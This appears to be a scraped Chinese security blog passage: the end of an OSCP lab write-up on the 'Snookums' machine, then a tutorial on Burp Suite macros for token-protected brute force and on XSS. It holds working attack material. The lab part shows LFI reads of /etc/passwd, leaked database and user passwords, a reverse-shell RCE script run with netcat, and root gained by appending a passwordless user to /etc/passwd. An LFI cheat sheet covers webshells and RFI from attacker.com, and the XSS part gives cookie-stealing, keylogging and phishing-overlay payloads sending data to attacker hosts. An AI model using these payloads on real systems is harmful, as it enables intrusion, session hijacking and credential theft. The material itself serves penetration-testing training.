find any DOM based XSS. 102111/tcp open rpcbind 103139/tcp open netbios-ssn 104445/tcp open microsoft-ds 1053306/tcp open mysql 106 107Host script results: 108| smb-vuln-regsvc-dos: 109| VULNERABLE: 110| Service regsvc in Microsoft Windows systems vulnerable to denial of service 111| State: VULNERABLE 112| The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference 113| pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes 114| while working on smb-enum-sessions. 115|_ 116|_smb-vuln-ms10-054: false 117|_smb-vuln-ms10-061: false 118| smb-vuln-cve2009-3103: 119| VULNERABLE: 120| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497) 121| State: VULNERABLE 122| IDs: CVE:CVE-2009-3103 123| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2, 124| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a 125| denial of service (system crash) via an \u0026amp; (ampersand) character in a Process ID High header field in a NEGOTIATE 126| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location, 127| aka \u0026#34;SMBv2 Negotiation Vulnerability.\u0026#34; 128| 129| Disclosure date: 2009-09-08 130| References: 131| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 132|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 133 134Nmap done: 1 IP address (1 host up) scanned in 266.35 seconds 135 136http://192.168.236.58/index.php (Status: 200) [Size: 2730] 137http://192.168.236.58/images (Status: 301) [Size: 237] [--\u0026gt; http://192.168.236.58/images/] 138http://192.168.236.58/image.php (Status: 200) [Size: 1508] 139http://192.168.236.58/photos (Status: 301) [Size: 237] [--\u0026gt; http://192.168.236.58/photos/] 140http://192.168.236.58/css (Status: 301) [Size: 234] [--\u0026gt; http://192.168.236.58/css/] 141http://192.168.236.58/license.txt (Status: 200) [Size: 18511] 142http://192.168.236.58/db.php (Status: 200) [Size: 0] 143http://192.168.236.58/README.txt (Status: 200) [Size: 4041] 144http://192.168.236.58/js (Status: 301) [Size: 233] [--\u0026gt; http://192.168.236.58/js/] 145 146┌──(kali㉿kali)-[~/Desktop] 147└─$ whatweb http://192.168.236.58/ 148http://192.168.236.58/ [200 OK] Apache[2.4.6], Country[RESERVED][ZZ], Google-Analytics[UA-2196019-1], HTML5, HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/5.4.16], IP[192.168.236.58], JQuery[1.7.2], Lightbox, PHP[5.4.16], Script, Title[Simple PHP Photo Gallery], X-Powered-By[PHP/5.4.16] 80端口打开网页是一个相册，鼠标悬停在图片上可以在右下角看到图片的地址。，能判断有一个image文件夹。 文件夹没有什么特别的发现。 Nmap的扫描结果发现有个README.txt文件，读取一下 1========================== 2 Simple PHP Photo Gallery 3========================== 4 5Copyright John Caruso 2005-2008 6https://sourceforge.net/projects/simplephpgal/ 7 8 9A) Embedded Gallery or Standalone 10================================== 11You can embed the gallery into existing pages or use it as a standalone page. 12 13To use it as a Standalone page, just follow the instructions in steps (B) and (C). 14 15To use it as an embedded Gallery in an existing page: 161) Copy the the code from the embeddedGallery.php file (or just use an include(\u0026#34;embeddedGallery.php\u0026#34;) statement in your existing php file). 172) Follow step (B) with the following modifications 18 * B.1) The gallery title will not be taken from the folder name, but rather the config file. Make sure to uncomment the $galleryTitle = \u0026#34;title\u0026#34;; line and place your desired title in the quotes. 19 * B.2) Do not include index.php when copying the files from the .zip file 20 * C.2) Do not include index.php if you want to create your own index page. Just include the embeddedGallery.php file in your own script 21 22B) Steps to setup your photogallery. 23==================================== 24 251) Create a new folder with the name that you would like your gallery title to be. 26 * use the underscore \u0026#34;_\u0026#34; for spaces (eg. My_Vacation) 27 * you can only use characters that are allowable for folder names 282) Put all the files contained in this .zip file into the folder you just created 293) If they do not already exist, create two folders named \u0026#39;phpGallery_thumbs\u0026#39; and \u0026#39;phpGallery_images\u0026#39; inside your folder. You will need WRITE permissions on the phpGallery_thumbs directory. 304) Put all of the photos that you want displayed in your gallery into the phpGallery_images folder 31 * by default they will be displayed in alphabetical order. This can be modified in the phpGalleryConfig.php file by setting the $sortMode variable at the bottom of the file 325) Upload your directory to your website. 33 * The first time you view the gallery it will take some time to load because thumbnails are being generated (If the page times out and nothing is shown on the screen, refresh the page. You may need to do this several times if you have a lot of images) 34 35 36C) For Multiple Photo Galleries 37================================ 38If you want to create multiple photo galleries: 39 401) Create a folder with the name that you would like your gallery listing to have. 41 * use the underscore \u0026#34;_\u0026#34; for spaces (eg. My_Galleries) 42 * you can only use characters that are allowable for folder names 432) Place the index.php, embeddedGallery.php and phpGalleryConfig.php files from this .zip file into the folder 443) Do the steps in (A) for as many galleries as you want to display, and place them into the folder you created in the previous step 45 46 47 48D) Modifying the Style 49======================= 50Every element in the gallery script is attached to a CSS class. 51 52If you are using the gallery as an embedded gallery, copy and paste the CSS classes/elements from the phpGalleryStyle.css file and paste them into your current stylesheet. I have tried to make the names as unique as possible. 53 54If you are using the gallery as a standalone page, you can make your modifications directly to the phpGalleryStyle.css file. 55 56 57 58 59 60NOTE: 61 62i) Your webserver must have PHP version 3.0 or higher, and GD 2.0 or higher installed in order for the gallery software to work. 63 To check this, create a php file with the line \u0026lt;?php phpinfo(); ?\u0026gt; and run it to see what modules are installed. 64 65ii) Should work for JPG, JPEG, PNG and GIF files (for both upper and lowercase file extensions) 66 67iii) Feel free to remove the copyright information (I agree it is quite ugly), under the condition that you aren\u0026#39;t going to try to break what the copyright is intended to protect :) 68 69iv) Have fun and enjoy! 70 71Oh and if you don\u0026#39;t mind, drop me a line at simplephpgallery@gmail.com with the URL to your website that you are using the gallery script on. I enjoy seeing how something I\u0026#39;ve done has helped out someone else! 72 73---翻译 74 75好的，这是您提供的“Simple PHP Photo Gallery”文档的中文翻译（纯文字格式）： 76 77Simple PHP Photo Gallery 78 79 80版权 John Caruso 2005-2008 81https://sourceforge.net/projects/simplephpgal/ 82 83A) 嵌入式图库或独立图库 84 85您可以将图库嵌入到现有页面中，或者将其用作独立页面。 86 87作为独立页面使用： 只需按照步骤 (B) 和 (C) 中的说明操作即可。 88 89作为嵌入式图库在现有页面中使用： 90 91 1. 复制 embeddedGallery.php 文件中的代码（或者直接在您现有的 PHP 文件中使用 include(\u0026#34;embeddedGallery.php\u0026#34;) 语句）。 92 2. 按照步骤 (B) 操作，但需进行以下修改： 93 B.1) 图库标题将不再取自文件夹名称，而是取自配置文件。请确保取消注释 $galleryTitle \u0026#34;title\u0026#34;; 这一行，并将您想要的标题放在引号内。 94 95 B.2) 从 .zip 文件中复制文件时，不要包含 index.php。 96 97 3. (C.2) 如果您想创建自己的索引页，不要包含 index.php。只需在您自己的脚本中包含 embeddedGallery.php 文件。 98 99B) 设置您的照片图库的步骤 100 1011. 创建一个新文件夹，名称即为您想要的图库标题。 102 使用下划线 \u0026#34;_\u0026#34; 表示空格（例如：My_Vacation）。 103 104 只能使用文件夹名称允许的字符。 105 1062. 将本 .zip 文件中包含的所有文件放入您刚刚创建的文件夹中。 1073. 如果不存在，在您的文件夹内创建两个名为 phpGallery_thumbs 和 phpGallery_images 的文件夹。您需要对 phpGallery_thumbs 目录具有写入 (WRITE) 权限。 1084. 将所有想要在图库中显示的照片放入 phpGallery_images 文件夹中。 109 默认情况下，它们将按字母顺序显示。可以通过修改 phpGalleryConfig.php 文件底部的 $sortMode 变量来更改此行为。 110 1115. 将您的目录上传到您的网站。 112 第一次查看图库时，加载可能需要一些时间，因为正在生成缩略图（如果页面超时且屏幕上没有任何显示，请刷新页面。如果您有很多图像，可能需要多次刷新）。 113 114C) 创建多个照片图库 115 116如果您想创建多个照片图库： 117 1181. 创建一个文件夹，名称即为您想要的图库列表标题。 119 使用下划线 \u0026#34;_\u0026#34; 表示空格（例如：My_Galleries）。 120 121 只能使用文件夹名称允许的字符。 122 1232. 将本 .zip 文件中的 index.php、embeddedGallery.php 和 phpGalleryConfig.php 文件放入此文件夹。 1243. 按照 (A) 部分的步骤操作，创建您想要显示的任意多个图库，并将它们放入上一步创建的文件夹中。 125 126D) 修改样式 127 128图库脚本中的每个元素都关联着一个 CSS 类。 129 130嵌入式图库： 复制 phpGalleryStyle.css 文件中的 CSS 类/元素，并将其粘贴到您当前的样式表中。我尽量使类名唯一。 131 132独立页面图库： 可以直接修改 phpGalleryStyle.css 文件。 133 134注意 (NOTE): 135 136i) 您的 Web 服务器必须安装 PHP 3.0 或更高版本以及 GD 2.0 或更高版本，图库软件才能工作。 137 要检查这一点，创建一个包含 \u0026lt;?php phpinfo(); ?\u0026gt; 行的 PHP 文件并运行它，查看安装了哪些模块。 138 139ii) 应支持 JPG, JPEG, PNG 和 GIF 文件（文件扩展名大小写均可）。 140 141iii) 可以自由删除版权信息（我同意它不太美观），条件是您不会试图破坏版权旨在保护的内容 :) 142 143iv) 祝您使用愉快！ 144 145哦，如果您不介意，请发邮件到 simplephpgallery@gmail.com 告诉我您使用该图库脚本的网站 URL。我很高兴看到我做的东西帮助了别人！ 发现这个PHP相册有用include的方式来展现图片，文字中 \u0026ldquo;或者直接在您现有的 PHP 文件中使用 include(\u0026ldquo;embeddedGallery.php\u0026rdquo;) 语句）\u0026ldquo;这一句说明了，存在文件包含。搜索一下网上这个文件包含的利用方法如下。\nQuestion 文件包含漏洞有哪些用法\n文件包含漏洞 http://192.168.236.58/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd http://192.168.236.58/image.php?img=php://filter/convert.base64-encode/resource=/var/www/html/db.php 1\u0026lt;?php 2define(\u0026#39;DBHOST\u0026#39;, \u0026#39;127.0.0.1\u0026#39;); 3define(\u0026#39;DBUSER\u0026#39;, \u0026#39;root\u0026#39;); 4define(\u0026#39;DBPASS\u0026#39;, \u0026#39;MalapropDoffUtilize1337\u0026#39;); 5define(\u0026#39;DBNAME\u0026#39;, \u0026#39;SimplePHPGal\u0026#39;); 6? 得到数据库用户名和密码，观察端口发现3306端口打开，尝试登录发现不允许外部地址登录。\n数据库密码 root MalapropDoffUtilize1337\nSimple PHP Photo Gallery 漏洞 从Whatweb的结果中看，这是一个 Simple PHP Photo Gallery 的相册框架，搜索相关的漏洞发现有脚本可以利用。\nhttps://github.com/beauknowstech/SimplePHPGal-RCE.py\n1# 终端1 2rlwrap -cAr nc -nlvp 445 3# 终端2 4git clone https://github.com/beauknowstech/SimplePHPGal-RCE.py.git 5cd SimplePHPGal-RCE.py 6python3 SimplePHPGal-RCE.py http://192.168.236.58/ 192.168.45.238 445 7python -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 注意这里最好是用靶机以及开放打开的端口，比如这里的445端口。 内网信息收集 现在就可以登录数据库了 解码两次密码得到：\nusername password 解码 第二次解码 josh VFc5aWFXeHBlbVZJYVhOelUyVmxaSFJwYldVM05EYz0= TW9iaWxpemVIaXNzU2VlZHRpbWU3NDc= MobilizeHissSeedtime747 michael U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ== SG9ja1N5ZG5leUNlcnRpZnkxMjM= HockSydneyCertify123 serena VDNabGNtRnNiRU55WlhOMFRHVmhiakF3TUE9PQ== T3ZlcmFsbENyZXN0TGVhbjAwMA== OverallCrestLean000 home文件夹下只有一个用户文件夹michael，尝试用数据库中得到的密码su一下用户。 拿到第一个flag。 搜一下常见的提权点，并未发现常见的可以提权的点 查看是否还有其他可用的用户时发现passwd文件当前用户Micheal即可写入，那么直接写一个新用户，新的管理员用户即可。 1echo \u0026#39;root2::0:0::/root:/bin/bash\u0026#39; \u0026gt;\u0026gt; /etc/passwd 2su root2 拿到第二个flag 总结 入侵路径示意图 flowchart TD %% 资产列表 A[Kali攻击机 192.168.45.238] B[靶机 192.168.236.58] C[获取数据库密码] D[获取apache终端] E[获取michael用户密码并登录] F[root] %% 路径关系 A--\u003e|扫描|B B--\u003e|文件包含漏洞|C B--\u003e|SimplePHPG漏洞|D C--\u003e|数据库解码|E D--\u003eE E--\u003e|/etc/passwd权限配置不当|F %% 线型：---（实线）、-.-\u003e（虚线）、==\u003e（粗箭头） %% --\u003e|是|：带条件文本的连接 %% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点() %% 样式定义 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px; classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; %% 线型与颜色方案（亮色/暗色通用） linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; %% 应用样式 class A attack; class B,C,D public; class E,F internal;入侵时间表 gantt title 攻击时间表 dateFormat YYYY-MM-DD HH:mm axisFormat %H:%M section 侦察阶段 目标扫描 :a1, 2025-08-20 11:4, 2025-08-20 12:30 漏洞识别 :a2, after a1, 2025-08-20 13:03 section 攻击阶段 初始访问 :b1, after a2, 2025-08-20 13:20 权限提升 :crit,b2, after b1, 3m section 后渗透阶段 数据窃取 :c1, after b2, 1m 文件包含漏洞（LFI/RFI） 文件包含漏洞（LFI/RFI）的核心在于利用动态文件加载机制，通过控制包含路径参数实现敏感文件读取或恶意代码执行。以下是常见利用方式及技术细节，按协议和场景分类整理：\n📁 ​​一、本地文件包含（LFI）基础利用​​ ​​敏感文件读取​​ ​​路径遍历​​：通过../跳转目录读取系统文件。 ?file=../../../../etc/passwd→ 泄露用户账户信息 。 Windows 系统：?file=../../Windows/win.ini→ 获取系统配置 。 ​​空字节截断​​（PHP \u0026lt;5.3.4）： ?file=../../../etc/passwd%00→ 绕过后缀限制（如.php）。 ​​日志文件注入​​ ​​污染日志​​：在请求头中注入恶意代码（如User-Agent: \u0026lt;?php system($_GET['cmd']);?\u0026gt;）。 ​​包含日志​​：?file=/var/log/apache2/access.log\u0026amp;cmd=id→ 执行注入的代码 。 ​​Session 文件利用​​ 注入恶意 Session：通过登录表单设置PHPSESSID=evil并提交username=\u0026lt;?php system('id');?\u0026gt;。 包含 Session 文件：?file=/tmp/sess_evil→ 执行代码 。 🌐 ​​二、伪协议高级利用​​ 🔧 ​​1. php://filter（源码泄露）​​ ​​Base64 编码读取​​：避免 PHP 代码直接执行。 ?file=php://filter/convert.base64-encode/resource=config.php→ 获取配置文件 Base64 编码内容 。 ​​编码绕过技巧​​： 多重过滤器：?file=php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php→ 绕过简单过滤 。 ⚡ ​​2. php://input（代码执行）​​ ​​POST 请求执行代码​​：需allow_url_include=On。 ?file=php://input+ POST Body：\u0026lt;?php system('id');?\u0026gt;→ 直接执行系统命令 。 ​​写入 Webshell​​： \u0026lt;?php fputs(fopen(\u0026#39;shell.php\u0026#39;,\u0026#39;w\u0026#39;),\u0026#39;\u0026lt;?php @eval($_POST[cmd]);?\u0026gt;\u0026#39;); ?\u0026gt; 通过包含触发写入 。 📦 ​​3. 压缩协议（绕过上传限制）​​ 上传含恶意代码的shell.zip（内部含shell.php），重命名为image.jpg。 ?file=zip:///path/to/image.jpg%23shell.php→ 解压并执行代码 。 类似zip://，额外支持反序列化攻击 。 💥 ​​4. data://（直接代码执行）​​ ​​嵌入 PHP 代码​​：需allow_url_include=On。 ?file=data://text/plain,\u0026lt;?php phpinfo();?\u0026gt;→ 直接输出phpinfo。 ​​Base64 编码绕过​​： ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+→ 执行编码后的代码 。 🎯 ​​三、远程文件包含（RFI）​​ ​​远程加载恶意文件​​\n?file=http://attacker.com/shell.txt→ 包含远程服务器上的 Webshell（需allow_url_include=On）。 ​​绕过技巧​​：添加?或%23截断后缀： ?file=http://attacker.com/shell.txt%23→ 忽略本地追加的后缀（如.php）。 ​​结合 DNS 重绑定​​\n使同一 URL 在不同时间解析到攻击者服务器和本地文件，绕过 IP 限制 。 ⚙️ ​​四、环境变量与临时文件​​ ​​/proc/self/environ利用​​ 通过User-Agent注入代码： User-Agent: \u0026lt;?php system($_GET['cmd']);?\u0026gt;。 ?file=/proc/self/environ\u0026amp;cmd=id→ 执行注入命令 。 ​​临时文件包含​​ 结合文件上传漏洞，包含上传的临时文件路径（如/tmp/phpXXXXXX）。 🛠️ ​​五、绕过过滤技巧​​ ​​双写绕过​​：?file=....//....//etc/passwd→ 应对str_replace(\u0026quot;../\u0026quot;, \u0026quot;\u0026quot;)过滤 。 ​​绝对路径绕过​​：?file=file:///etc/passwd→ 直接指定绝对路径 。 ​​长度截断​​：超长文件名（Windows \u0026gt;256字符，Linux \u0026gt;4096字符）自动截断后缀 。 💎 ​​总结​​ 文件包含漏洞的利用核心在于​​控制输入路径​​和​​利用协议特性​​：\n​​敏感信息泄露​​ → php://filter+ Base64 编码。 ​​代码执行​​ → php://input/data://+ POST 代码注入。 ​​绕过限制​​ → 压缩协议（zip:///phar://）或路径遍历技巧。 防御需结合​​白名单验证​​、​​协议禁用​​（如allow_url_include=Off）和​​输入过滤​​ 。 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-08-20T10:57:24Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-snookums-wp/","title":"OSCP官方靶场 Snookums WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n​上一节补充​核心知识点：Burp Suite 处理动态 Token 的流程​ 下文的​ phpMyAdmin 替换为 DVWA 漏洞练习靶场为例子。 ​​1. 问题分析​​ ​​目标防护机制​​：\nphpMyAdmin 登录表单包含动态生成的 token 和 set_session 值，每次请求都会变化，用于防止 CSRF 和暴力破解。 ​​关键挑战​​：\n直接爆破密码会因 Token/Session 不匹配失败（返回错误 Error: Token/Session mismatch）。 调整DVWA靶场的安全设置为High然后打开 Brute Force 有个登录框，可以练习登录的漏洞。 随便输入用户名密码抓包后查看发现是有token值的，当前的响应是200，是正常的。 但是当放到重放器中再次发包后返回的结果就是302，这样的话似乎就没办法用Burp爆破密码了。因为token值每发一次就会变化一次。 如果在浏览器直接刷新也会提示token过期的。 ​​2. 解决方案：Burp Intruder 的宏（Macro）功能​​ ​​核心思路​​： 通过 ​​Recursive Grep（递归提取）​​ 从服务器响应中动态捕获 Token/Session 值，并自动注入到后续请求。\n​​3. 配置步骤​ ​​Step 1: 设置攻击位置（Positions）​​ ​​清除默认标记​​：点击 Clear § 移除 Burp 自动标记的位置。 ​​手动标记关键参数​​（4个位置需动态更新）： ​​Cookie 中的 phpMyAdmin 值​​\n（示例：Cookie: phpMyAdmin=§动态值§） ​​POST 表单中的 set_session​​\n（示例：set_session=§动态值§） ​​密码字段 pma_password​​\n（固定用户 root，爆破密码：pma_password=§密码字典§） ​​Token 字段 token​​\n（示例：token=§动态值§） 教材中用的是phpmyadmin，这里用的DVWA一样的，在要爆破的字段上设置\u0026quot;节\u0026quot;符号§，点击 Add § 按钮即可添加。 ​​Step 2: 配置 Payloads（递归提取动态值）​​ ​​Payload Set 1 \u0026amp; 2（Session 值）​​\n​​类型​​：Recursive Grep\n​​提取规则​​：\n从响应中抓取 set_session 的隐藏字段值：\n\u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;set_session\u0026#34; value=\u0026#34;§提取值§\u0026#34; /\u0026gt; ​​配置定界符​​：\nStart: name=\u0026quot;set_session\u0026quot; value=\u0026quot; End: \u0026quot; ​​Payload Set 4（Token 值）​​\n​​类型​​：Recursive Grep\n​​提取规则​​：\n从响应中抓取 Token 值：\n\u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;token\u0026#34; value=\u0026#34;§提取值§\u0026#34; /\u0026gt; ​​配置定界符​​：\nStart: name=\u0026quot;token\u0026quot; value=\u0026quot; End: \u0026quot; 打开设置，找到Session设置，看到有会话处理规则和宏的界面。 选择刚刚登录抓过的包，搜索确定有token值的那个。 点击添加宏。 将字段匹配上去，名字是user_token，从 value=\u0026rsquo; 开始，然后正则匹配后面的字符。直接在页面上选中文字拖拽可以自动匹配， 添加好后保存。 点击会话规则添加新规则。 选择运行宏。 汉化版的翻译对照。 选择只更新此参数。 设置工作的范围，只要重放和爆破两个确保打开即可，设置网络为目标的网络或者选择全都通过。 再次发包发现即可无限次发包了。 这里我没有成功，用的是别人成功的截图。 ​​Step 3: 配置密码爆破（Payload Set 3）​​ ​​类型​​：Simple List ​​内容​​：常用密码字典（如 root、password、admin 等）。 ​​4. 核心技术：宏 Macros 如何工作​​ ​​首次请求​​： Burp 发送初始登录请求，服务器返回包含新 Token/Session 的 HTML。 ​​提取动态值​​： 根据 Recursive Grep 规则，从响应中抓取最新 Token/Session。 ​​注入下一次请求​​： 将提取值自动填充到后续请求的标记位置（§§）。 ​​循环直至成功​​： 每次请求更新 Token/Session，绕过防护机制爆破密码。 ​​5. 成功关键点​​ ​​定界符精度​​：\n需精确匹配 HTML 中 Token/Session 的上下文（如 value=\u0026quot;...\u0026quot;），避免提取错误。 ​​Payload 顺序​​：\nPitchfork 要求每组 Payload 数量一致（密码字典需与 Token 列表同步）。 ​​错误处理​​：\n需验证提取逻辑是否覆盖服务器返回的所有动态值（Session + Token）。 ​​6. 替代方案（Burp 的 Session Handling Rules）​​ 若需更灵活处理 Token，可创建 ​​宏（Macro） + Session Rule​​：\n​​新建 Macro​​： 捕获登录页 GET 请求 → 提取 Token/Session。 ​​创建 Session Rule​​： 在爆破前自动执行 Macro，更新请求中的 Token/Session。 ​​应用范围​​：\n绑定到 Intruder 或整个项目，自动化处理所有相关请求。 XSS漏洞 Info XSS漏洞在OSCP中不考i，而且在大多数漏洞平台不收录XSS的漏洞，但是在渗透钓鱼中可以作为辅助手段来达到目的。所以简单了解和知道基本的利用操作是很有必要的。 比如在baidu.com中如果xss弹出一个下面这个网站的域名，从而引导“粗心的”用户输入密码等信息，就能窃取用户凭证和其他敏感信息。 ​核心安全概念：数据消毒（Data Sanitization）​​ ​​定义与重要性​​\n数据消毒是清除或转换用户输入中危险字符/字符串的过程 ​​未消毒数据危害​​：攻击者可注入恶意代码（如XSS/SQL注入） 深度防御原则：应在​​输入点​​（提交时）和​​输出点​​（显示时）双重消毒 ​​漏洞成因​​\n// 危险示例：直接输出未消毒数据 echo \u0026#34;\u0026lt;td\u0026gt;\u0026#34; . $row[\u0026#34;text\u0026#34;] . \u0026#34;\u0026lt;/td\u0026gt;\u0026#34;; 解决方案：使用htmlspecialchars()转换特殊字符 // 安全示例 echo \u0026#34;\u0026lt;td\u0026gt;\u0026#34; . htmlspecialchars($row[\u0026#34;text\u0026#34;]) . \u0026#34;\u0026lt;/td\u0026gt;\u0026#34;; ​​跨站脚本攻击（XSS）​​ ​​漏洞类型​​ 类型 特征 常见场景 存储型XSS 攻击载荷持久化存储在服务器（数据库/缓存） 论坛评论、产品评价 反射型XSS 恶意代码通过URL参数动态返回给用户 搜索结果页、错误消息 基于DOM型XSS 攻击发生在浏览器DOM解析层（不与服务端交互） 客户端数据处理逻辑漏洞 ​​漏洞检测方法​​ ​​定位入口点​​\n寻找接受用户输入并回显的字段（如搜索框、反馈表单） ​​注入测试字符​​\n\u0026lt; \u0026gt; \u0026#39; \u0026#34; { } ; // HTML/JavaScript特殊字符 检查输出：若字符未被编码（如\u0026lt;未转为\u0026amp;lt;），则存在风险 如图，输入的恶意字符原模原样的输出，说明没有过滤和转义这些字符。 完整的练习可以通过[[xss-labs 靶场 WP|xss-labs]] 靶场练习。 ​​XSS利用技术实战​​ ​​基础攻击示例​​ \u0026lt;script\u0026gt;alert(\u0026#39;XSS\u0026#39;)\u0026lt;/script\u0026gt; // 触发弹窗验证漏洞 第二关就转义了这些恶意字符，所以直接输的话是弹不了的。 还可以加上Burp抓包用字典遍历所有的XSS ​​攻击流程​​：\n提交恶意反馈 → 存储至数据库 → 管理员查看页面 → 触发攻击\n​​进阶利用：会话劫持​​ ​​窃取Cookie原理​​\n绕过HttpOnly标志：通过XSS直接读取document.cookie \u0026lt;script\u0026gt; new Image().src=\u0026#34;http://attacker-ip/?cookie=\u0026#34; + document.cookie; \u0026lt;/script\u0026gt; ​​劫持管理员会话​​\n步骤： 诱使管理员访问含恶意脚本页面 脚本将Cookie发送至攻击者服务器 攻击者使用盗取的PHPSESSID伪装管理员 ​​防御措施​​ 防御层面 具体措施 ​​输入消毒​​ 提交时过滤\u0026lt; \u0026gt; ' \u0026quot;等危险字符 ​​输出编码​​ 显示时强制转义（如PHP的htmlspecialchars()） ​​安全标记​​ 设置Cookie的HttpOnly和Secure属性 ​​内容安全策略​​ 配置CSP头限制脚本来源（如Content-Security-Policy: script-src 'self'） ​​技术关键点解析​​ ​​漏洞本质​​\n​​客户端攻击​​：浏览器执行恶意脚本而非服务端，但可导致服务端权限沦陷\n​​跨域限制绕过​​\n通过注入\u0026lt;iframe\u0026gt;或Image对象将数据外带至攻击者服务器\n\u0026lt;!-- 隐藏iframe外传数据 --\u0026gt; \u0026lt;iframe src=\u0026#34;http://attacker-ip\u0026#34; style=\u0026#34;display:none\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; ​​自动化攻击验证​​\n使用PowerShell脚本模拟管理员行为：\n# admin_login.ps1 $ie = New-Object -com InternetExplorer.Application $ie.Visible = $true $ie.Navigate(\u0026#34;http://vuln-site/login.php\u0026#34;) # 自动填写凭证并提交... 9.4.2.5 练习 利用示例应用程序中的XSS漏洞获取管理cookie并劫持会话。切记在Windows 10实验室计算机上 使用PowerShell脚本模拟管理员登录。 考虑使用此应用程序中的XSS漏洞进行攻击的其他方式。 此漏洞会攻击站点的服务器还是客户端？ ​​1. 利用XSS漏洞获取管理员Cookie并劫持会话的步骤​​ ​​攻击流程如下（需在Windows 10实验环境中配合PowerShell模拟管理员登录）：​​\n​​注入恶意Payload​​\n在存在XSS漏洞的输入点（如评论框、URL参数）注入以下脚本：\n\u0026lt;script\u0026gt; var img = new Image(); img.src = \u0026#39;http://attacker.com/steal?cookie=\u0026#39; + encodeURIComponent(document.cookie); img.style.display = \u0026#39;none\u0026#39;; document.body.appendChild(img); \u0026lt;/script\u0026gt; 此脚本会悄无声息地将当前用户的Cookie发送至攻击者控制的服务器（attacker.com）。\n​​诱导管理员触发漏洞​​\n若为反射型XSS，构造含恶意脚本的URL，通过社工手段诱使管理员点击（例如伪装成站内通知链接）。\n若为存储型XSS，直接将Payload提交至数据库（如论坛发帖），等待管理员浏览页面自动触发。\n​​捕获Cookie并劫持会话​​\n攻击者从服务器日志提取Cookie中的会话ID（如PHPSESSID=abc123）。\n使用浏览器开发者工具或插件（如EditThisCookie）将Cookie植入自身浏览器，访问后台路径（如/admin）即可伪装管理员身份。\n​​PowerShell模拟管理员登录（实验环境）​​\n编写脚本自动发送含窃取Cookie的请求：\nInvoke-WebRequest -Uri \u0026#34;http://vulnerable-site.com/login\u0026#34; -Method Post -Body @{username=\u0026#34;admin\u0026#34;; password=\u0026#34;P@ssw0rd\u0026#34;} # 后续请求携带窃取的Cookie访问后台 此步骤用于验证会话劫持可行性，无需实际破解密码。\n​​2. XSS漏洞的其他攻击利用方式​​ 除会话劫持外，XSS漏洞可扩展为以下攻击：\n​​键盘记录与数据窃取​​\n注入脚本捕获用户键盘输入（如账号密码），通过Beacon API发送至攻击者服务器：\ndocument.addEventListener(\u0026#39;keydown\u0026#39;, e =\u0026gt; navigator.sendBeacon(\u0026#39;http://attacker.com/log\u0026#39;, e.key)); 可窃取表单内容、LocalStorage数据（如用户令牌）。\n​​组合CSRF攻击​​\n利用XSS绕过CSRF防护，以内联脚本伪造敏感操作（如修改密码）：\nfetch(\u0026#39;/account/change_email\u0026#39;, {method: \u0026#39;POST\u0026#39;, body: \u0026#39;email=attacker@example.com\u0026#39;}); 无需用户交互即可接管账户。\n​​内网探测与反向代理​​\n通过恶意脚本扫描内网资源，将结果回传：\nfor (let i=1; i\u0026lt;255; i++) fetch(`http://192.168.1.${i}`, {mode: \u0026#39;no-cors\u0026#39;}) .then(() =\u0026gt; sendToAttacker(`192.168.1.${i}_active`)); 用于定位未公开的后台或漏洞设备。\n​​持久化水坑攻击​​\n篡改页面内容（如添加伪造登录弹窗），诱骗用户输入凭证：\n\u0026lt;div id=\u0026#34;fakeLogin\u0026#34; style=\u0026#34;position:fixed; top:0; background:white;\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;username\u0026#34; placeholder=\u0026#34;Username\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;password\u0026#34; id=\u0026#34;password\u0026#34; placeholder=\u0026#34;Password\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; 结合事件监听窃取输入数据。\n​​3. XSS漏洞的攻击目标：客户端而非服务器​​ ​​关键结论​​：XSS攻击对象是​​客户端（用户浏览器）​​，而非服务器。\n​​原理​​：\nXSS本质是恶意脚本在用户浏览器执行，利用的是网站对用户输入的​​输出编码缺失​​或​​DOM处理不当​​。服务器仅存储或反射脚本，自身代码不被破坏。\n​​间接影响服务器场景​​：\n若受害者是管理员，攻击者可能通过劫持其会话：\n上传Webshell控制服务器；\n窃取数据库凭据或敏感文件；\n但此过程仍以客户端为跳板，非直接攻击服务端代码。\n​​防御措施关键点​​ 